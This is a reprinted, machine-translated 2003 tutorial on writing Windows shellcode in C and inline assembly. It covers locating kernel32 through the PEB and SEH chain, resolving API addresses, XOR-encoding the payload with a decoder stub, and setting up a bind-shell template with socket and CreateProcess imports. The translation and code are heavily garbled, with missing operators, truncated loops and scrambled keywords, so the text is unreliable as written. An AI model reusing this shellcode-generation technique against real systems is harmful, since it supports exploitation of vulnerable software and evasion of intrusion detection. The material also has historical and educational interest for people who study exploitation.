A little thinking about shellcode prepared by WINDOWS

xiaoxiao2021-03-06  87

A little thinking about shellcode prepared by WINDOWS

Creation time: 2003-11-30

Article properties: reprint

Article submission:

L0PHT (anonymous_at_21cn.com)

A little thinking about shellcode prepared by WINDOWS

By hume / cold rain

Articles about Shellcode prepared, such as cow. Classic text with predecessors such as Yuange, WaterCloud

Zhang, but most of them are too professional and concise, and there is still a small difficulty to learn from beginners. Therefore put yourself

A little idea records to comfort the same dish.

I am not a tool agency, but the right tools will undoubtedly improve work efficiency, and how to choose the right tools and write

The purpose of Shellcode and the operating environment of Shellcode are directly related. Shellcode is usually overflowing, etc.

The way to obtain execution, and to call the API of the target system when executed, therefore requested

Shellcode uses a more common way to get the API function address of the target system, followed by its run address.

It is difficult to determine, so a dynamic approach should be used for the addressing of the data. In addition, shellcode is usually transmitted as data.

Give the attack program, and the attacking program generally filtering the data, which proposes the SHELLCODE.

Ask, the coding method of shellcode is now relatively simple, and it is basically the XOR Dafa or its deformation.

Write shellcode has two ways to popularize: writing extraction with C language; write and extract with assembly language.

It is most convenient to write and extract with assembly language, because shellcode code is generally short,

The completed task is relatively single, generally does not involve complex operations. Therefore, you can write it in assembly language. And use of compilation

Write the control, code location, and generated control of data, and provide direct generation binary in some assembly compilers.

Code function and provide directives that directly contain binary files, so you can write a Makefile file directly.

Shellcode code and attack programs are separated from, respectively, and there is no need for print, copy, paste, etc.

Join a section of encoded code in the attack program. This is also easy to communicate.

But now the popularity of the network is the shellcode written, but the endcode code is finally generated, which is involved.

And the problem of extracting the assembly code generated by C. But in C, due to the compiler, some additional additions are generated in the beginning and end of the function.

Code, and these code is not necessarily what we need, and there is a question is to extract the end of the code is not directly in C.

Operators are obtained. These are actually not very difficult, as long as the feature string is used in the beginning and end of the function, the C library function is used.

Memcmp search can be positioned. Coding for Shellcode can be written for a program, such as XOR. Finally write a paragraph

The function is printed, copied, and paste it can be used in the attack program.

The central idea written by c is to write code with C language, let the compiler generate binary code for us, then run at runtime

Code, print, this is done.

I found an example of writing shellcode with c, who personally commissioned it, and discovered some problems.

And add some of your own code, test.

Some of the problems are:

1. The location of the Kenergy base address and the acquisition of the API function address

The original code is used in a way to search the address space. This is not the best way, because one is more code,

The second is to handle the exceptions triggered by the search invalid page. There are still two ways available:

One is obtained from the PEB-related data structure, please refer to the Green Alliance No. 44 SCZ "through the TEB / PEB enumeration

A list of space modules in space. The code is as follows: MOV Eax, fs: 0x30

Mov Eax, [EAX 0x0C]

Mov ESI, [EAX 0x1c]

Lodsd

MOV EBP, [EAX 0x08] // EBP is the address of kernel32.dll

This method is more common and is suitable for 2K / XP / 2003.

Another way is to search the SEH linker of the process to get the address of the kernel32.unhandledExceptionFilter,

Then, the address is retrofitable to the base address of the Kernel, which is also common, suitable for 9x / 2k / xp / 2003.

I use this method in the code below.

2. The role of several codes

You may be often seen in Shellcode extraction code.

Temp = * shellcodefnadd;

IF (Temp == 0xe9)

{

shellcodefnadd;

K = * (int *) shellcodefnadd;

Shellcodefnadd = K;

Shellcodefnadd = 4;

}

What is the use of this code? The answer is to use the function pointer when generating debug version with Visual Studio

The address obtained is not to point to the true function entry point, but point to the jump instruction JMP:

JMP Function

The code above is to handle this situation. If it is not convenient to debug, you can delete it.

There is also the code you will see:

JMP decode_end

Decode_start:

POP EDX

.......

Decode_end:

Call Decode_Start

Shell_Start:

The code such as the code is the code to locate the code at Shell_Start, which is easy to assemble, because there is no convenient means positioning in C.

The length and position of the code, so this workaround is used. Dynamic calculations can be employed when this method does not meet the requirements of the encoding.

And the method of writing. However, it is more complicated.

3. About address order of local variables

The following local variable structure is used in the original procedure:

FarProc WritefileAdd;

FarProc ReadfileAdd;

FarProc PeeknamedpiPireAdd;

FarProc CloseHandD;

FarProc CreateProcessAdd;

FarProc CreatePipeAdd;

FarProc ProcloadLib;

FarProc APIFNADD [1];

Therefore, the order in which the compiler generated by the compiler is like this, in some machines, but in my

Otherwise, such as the following test procedures:

#include

#include

#include

#include

Void shell ();

Void __cdecl main (int Argc, char * argv [])

{

FarProc Arg1;

FarProc Arg2;

FarProc Arg3;

FarProc Arg4;

FarProc Arg5;

INT PAR1;

Int par2;

INT PAR3;

Int par4;

CHAR CH;

Printf ("SIZE OF FARPROC% D", SIZEOF (FARPROC));

Printf ("% x% x% x% x% x% x% x% x% x",

& arg1,

& arg2,

& arg3,

& arg4,

& arg5,

& par1,

& par2,

& par3,

& par4,

& ch

);

}

The output generated on my machine is:

12FF7C

12FF78

12FF74

12FF70

12FF68

12FF6C

12FF64

12FF60

12FF5C

12FF58

This confirms that the actual address of the local variable is not fully defined by our own definition. So the original shellcode is used

The method of using the function name directly is reliable. So I use other methods, and the Enum keyword provided makes this

Work is easy to see the code below.

4.more

Further research on the deformation shellcode avoids IDS testing, and the code method, etc.

5. Code

It can be seen that writing shellcode is more understanding of code generation and C compiler behavior. Some places have been processed

Not very effortless. However, once the template is written, it is much more effort to write up or write complex shellcode.

Increase the API as long as the function name item is added after the corresponding .dll (if there is no corresponding DLL in the STR, add it)

Synchronize the index of the enum. Use it directly when calling the API:

API [_APINAME] (param, .... param);

I.e.

If you don't comment, there is #define debug 1, the following code can be debugged after compiling, you can compile the shellcode.

The following code will pop up a dialog box and click OK to end the program. That's all.

-------------------------------------------

/ *

Use the C language to write universal shellcode program

Source: Internet

Modification: hume / cold rain

Test: Win2K SP4 Local

* /

#include

#include

#include

#define debug 1

//

// Function prototype

//

Void Decryptsc ();

Void shellcodes ();

Void Printsc (Char * LPBUFF, INT BUFFSIZE);

//

// Part of the part definition

//

#define beginstrlen 0x08 // Start string length

#define endstrlen 0x08 // End the length of the tag character

#define nop_code 0x90 // Fill characters

#define NOP_LEN 0x0 // Shellcode started fill length

#define buffsize 0x20000 // Output buffer size

#define sc_port 7788 // Bind port number 0x1e6c

#define sc_buffsize 0x2000 // shellcode buffer size

#define enc_key 0x7a // encoding key

#define max_enc_len 0x400 // Encrypted code maximum length 1024 is sufficient?

#define max_sc_len 0x2000 // Hellcode's maximum length 8192 is sufficient?

#define max_api_strlen 0x400 // Apistr string length

#define API_ENDSTR "strend" // API end tag string #define api_endstrlen 0x06 // tag string length

#DEfine proc_begin __asm ​​_emit 0x90 __asm ​​_emit 0x90 __asm ​​_emit 0x90 __asm ​​_emit 0x90

__asm ​​_emit 0x90 __asm ​​_emit 0x90 __asm ​​_emit 0x90 __ASM _EMIT 0X90

#define proc_end proc_begin

/ / -------------------------------------------------------------------------------------------- ---

ENUM {// kernel32

_Createpipe,

_Createprocessa,

_CloseHandle,

_Peeknamedpipe,

_Readfile,

_Writefile,

_Exitprocess,

// WS2_32

_Socket,

_bind,

_Listen,

_Accept,

_send,

_Recv,

_ioctlsocket,

_closeSocket,

/ / This machine test USER32

_MessageBeep,

_MessageBoxa,

API_NUM

}

//

// Code start here

//

INT __CDECL Main (int Argc, char ** argv)

{

// String to use in Shellcode

Static char apistr [] = "x1ex6c" // port address

// kernel32 API function name

"CreatePipe" "X0"

"CreateProcessa" "X0"

"Closehandle" "X0"

"Peeknamedpipe" "x0"

"Readfile" "X0"

"Writefile" "X0"

"Exitprocess" "X0"

// Other APIs used in other APIs

"wsock32.dll" "x0"

"Socket" "X0"

"bind" "X0"

"Listen" "X0"

"accept" "X0"

"Send" "X0"

"RECV" "X0"

"ioctlsocket" "x0"

"CloseSocket" "X0"

// Normal test

"User32.dll" "x0"

"MessageBeep" "X0"

"MessageBoxa" "X0" "X0x0x0x0x0"

"strend";

Char * fnbgn_str = "x90x90x90x90x90x90x90x90x90"; // String started

Char * fnend_str = "x90x90x90x90x90x90x90x90x90"; // Tag ended string

Char buff [buffsize]; // buffer

CHAR SC_BUFF [SC_Buffsize]; // shellcodes buffer

Char * pdcrypt_addr,

* psc_addr;

INT buff_len; // buffer length

INT Encode_len; // Encryption Code Code Length

INT sc_len; // Original shellcode length

INT I, K;

UNSIGNED CHAR CH;

//

// Get the Decryptsc () address, the address of the decoding function, then search for the max_enc_len byte, look up the string started

// Get the start address of the real decoding assembly code, MAX_ENC_LEN is defined as 1024 bytes, which is generally enough, then this

// Part of the code copy into the buffer to output Shellcode, ready to process

//

Pdcrypt_addr = (char *) Decryptsc;

// Position its actual address, because in the case of generating debug version debugging with Visual Studio, the compiler generates a jump table.

// From the jump form to calculate the actual address of the actual function, this is just to facilitate VC debugging

CH = * pdcrypt_addr;

IF (CH == 0xe9)

{

PDCrypt_addr ;

i = * (int *) pdcrypt_addr;

PDCrypt_addr = (i 4); // At this point, point to the actual address of the function

}

/ / Find the beginning of decoding code

For (k = 0; K

IF

Else

{

// Display error message

K = 0;

Printf ("No Begin Str Defined In Decrypt Function! Please Check Before Go On ...");

Return 0;

}

For (k = 0; K

IF

Else

{

K = 0;

Printf ("no end str defined in decrypt function! please check ....");

Return 0;

}

Memset (buff, nop_code, buffsize); // buffer fill

Memcpy (buff nop_len, pdcrypt_addr, enccode_len); // copy the Decryptsc code into the BUFF

//

// Process the shellcode code, if you need to locate the start of the code

//

PSC_ADDR = (char *) shellcodes; // shellcode's address

// Function address processing in debugging, easy to debug

CH = * psc_addr;

IF (CH == 0xe9)

{

PSC_ADDR ;

I = * (int *) PSC_ADDR;

PSC_ADDR = (i 4); // At this time, point to the actual address of the function

}

// If you need to locate the beginning of the actual shellcodes (), it is not required.

/ *

For (k = 0; k

IF

* /

/ / Find the end and length of shellcode

For (k = 0; K

IF

Else

{

K = 0;

Printf ("No end str defined in shellcodes function! please check ...."); returnograph;

}

// copy the shellcode code into SC_BUFF

Memcpy (SC_BUFF, PSC_ADDR, SC_LEN);

// copy the character string on the end of shellcode

For (i = 0; i

IF (i> = max_api_strlen)

{

Printf ("No end str defined in API STRINGS! PLEASE CHECK ....");

Return 0;

}

Memcpy (SC_BUFF K, APISTR, I);

SC_LEN = i; // Added the length of shellcode

//

// The encoding algorithm for shellcode is simple, and can be changed as needed.

//

K = Enccode_len NOP_LEN; / / The positioning buffer should store the beginning of the shellcode address

For (i = 0; i

CH = SC_BUFF [I] ^ Enc_Key;

// Replace some characters that may cause shellcode failure

IF (CH <= 0x1f || CH == '|| CH =='. '|| CH ==' || CH == '/' || CH == '0' || CH == '?' || CH == '%' || CH == ' ')

{

BUFF [K] = '0';

K;

CH = 0x31;

}

// put the encoded shellcode behind the Decryptsc code

BUFF [K] = CH;

K;

}

// SHELLCODE total length

BUFF_LEN = K;

// Print Shellcode

Printsc (BUFF, BUFF_LEN);

// buff [buff_len] = 0;

// Printf ("% s", buff);

#ifdef debug

_asm {

Lea Eax, Buff

JMP EAX

RET

}

#ENDIF

Return 0;

}

// Decode the code for shellcode

Void Decryptsc ()

{

__ASM {

/

/ / Definition Start Sign

/

Proc_begin // c Macro to Begin PROC

JMP next

GetEnccodeAddr:

POP EDI

Push EDI

POP ESI

XOR ECX, ECX

Decrypt_lop:

Lodsb

CMP AL, CL

JZ Shell

CMP AL, 0x30 // Judgment is a special character

JZ Special_Char_clean

Store:

XOR Al, ENC_KEY

Stosb

JMP Decrypt_lop

Special_Char_clean:

Lodsb

SUB Al, 0x31

JMP Store

NEXT:

Call GetEnccodeAddr

// The rest of the real encrypted shellcode code will be connected here.

Shell:

/

// Define the end sign

/

Proc_end // c Macro to End Proc

}

}

//

// shellcode code

//

Void shellcodes ()

{

// API low site array

FarProc API [API_NUM];

// I acquired the API address

FarProc getProcaddr;

FarProc loadingLib;

Handle HKRNL32;

Handle Libhandle; Char * apistr_addr, * p;

INT K;

U_SHORT shellcodeport;

// Test variable

Char * TestAddr;

/ *

Startupinfo SiINFO;

Socket Listenfd, Clientfd;

Struct SockAddr_in Server;

INT Iaddrsize = Sizeof (Server);

INT LBYTESREAD;

PROCESS_INFORMATION processinformation;

Handle Hreadpipe1, hwritepipe1, hreadpipe2, hwritepidipe2;

Security_attributes sa;

* /

_asm {

JMP Locate_addr0

GetApistr_addr:

POP APISTR_ADDR

// Start getting the address of the API and the address of GetProcaddress and LoadLibrarya

// can easily get the address of any API in the future.

// Protection Register

Pushhad

XOR ESI, ESI

Lods DWORD PTR FS: [ESI]

Search_krnl32_lop:

INC EAX

JE KRNL32_BASE_OK

Dec EAX

XCHG ESI, EAX

Lodsd

JMP Search_krnl32_lop

KRNL32_BASE_OK:

Lodsd

COMPARE IF PE_HDR

XCHG ESI, EAX

Find_pe_header:

Dec ESI

XOR Si, Si; Kernel32 IS 64KB Align

MOV EAX, [ESI]

Add Ax, - 'ZM';

JNE FIND_PE_HEADER

MOV EDI, [ESI 3CH]; .e_lfaNew

MOV EAX, [ESI EDI]

Add Eax, - 'EP'; Anti Heuristic Change this if you are use masm etc.

JNE FIND_PE_HEADER

PUSH ESI

ESI = VA KERNEL32.BASE

EDI = RVA K32.PEHDR

MOV EBX, ESI

Mov EDI, [EBX EDI 78H]; Peh.DataDirectory

Push EDI

PUSH ESI

Mov Eax, [EBX EDI 20h]; Peexc.AddressofNames

MOV EDX, [EBX EDI 24h]; Peexc.AddressofNameRDINALS

Call __getprocaddr

_emit 0x47

_emit 0x65

_emit 0x74

_emit 0x50

_emit 0x72

_emit 0x6f

_emit 0x63

_emit 0x41

_emit 0x64

_emit 0x64

_emit 0x72

_emit 0x65

_emit 0x73

_emit 0x73

_emit 0x0

// DB "getprocaddress", 0

__getprocaddr:

POP EDI

MOV ECX, 15

Sub Eax, 4

NEXT_:

Add Eax, 4

Add Edi, ECX

Sub EDI, 15

MOV ESI, [EBX EAX]

Add ESI, EBX

MOV ECX, 15

REPZ CMPSB

JNZ next_

POP ESI

POP EDI

Sub Eax, [EBX EDI 20h]; Peexc.AddressOfnames

SHR EAX, 1

Add Edx, EBX

Movzx Eax, Word PTR [EDX EAX] Add ESI, [EBX EDI 1CH]; Peexc.Addressoffunctions

Add EBX, [ESI EAX * 4]; EBX = kernel32.GetProcaddress.addr

Use getProcaddress and hModule to get other func

POP ESI; ESI = Kernel32 Base

MOV [HKRNL32], ESI / / Save

MOV [getProcaddr], EBX / / save

Call _GetLoadLib

_emit 0x4c

_emit 0x6f

_emit 0x61

_emit 0x64

_emit 0x4c

_emit 0x69

_emit 0x62

_emit 0x72

_emit 0x61

_emit 0x72

_emit 0x79

_emit 0x41

_emit 0x0

// DB "loadinglibrarya", 0

_GetLoadLib:

PUSH ESI

Call EBX

MOV [loadinglib], EAX

// Restore registers to avoid more problems

Popad

}

/ / Remove the defined port address

ShellcodePort = * (u_short *) apistr_addr;

Apistr_addr = 2;

Test

TestAddr = apistr_addr;

// Use getProcAddress to get the API address used in Shellcode

LibHandle = HKRNL32;

P = apistr_addr;

K = 0;

/// *

While (* (unsigned int *) p)! = 0)

{

Apistr_addr = p;

While (* p) p ; // advance to the next string

IF (* ((unsigned int *)) == 'LLD.')

{

LIBHANDLE = (Handle) LoadLib (apistr_addr); // Load DLL if DLL

}

Else

{

API [K] = (FARPROC) getProcaddr (LibHandle, Apistr_Addr);

K ;

}

Apistr_addr = p; / / Improve a character position before updating pointer

}

// * /

///

// You can use the C language to write the truly functional shellcode /////

///

//

// Simple test a few APIs to see if the composite requirements

//

API [_MESSAGEBEEP] (0x10);

API [_MessageBoxa] (0, TestAddr, 0,0x40);

API [_EXITPROCESS] (0);

///

// SHELLCODE function part end //

///

// Dead cycle

DIE:

Goto Die;

__ASM

{

LOCATE_ADDR0:

Call getapistr_addr //5 bytes

// The real string data is to be connected here.

/

// Define the end sign

/

Proc_end // c Macro to End Proc

}

}

//

/ / Display the C string format code for print generated shellcode

//

Void Printsc (Char * LPBUFF, INT BUFFSIZE)

{

INT I, J;

Char * p;

Char msg [4];

For (i = 0; i

{

IF ((i% 16) == 0)

IF (i! = 0)

PRINTF ("" "");

Else

PRINTF ("" ");

Sprintf (MSG, "/ X% .2x", LPBUFF [I] & 0xFF); for (p = msg, j = 0; j <4; p , j )

{

IF (iSupper (* p))

Printf ("% C", _tolower (* p));

Else

Printf ("% c", p [0]);

}

}

Printf (""; / * shell total is% d bytes * / ", buffsize);

}

转载请注明原文地址:https://www.9cbs.com/read-122532.html

New Post(0)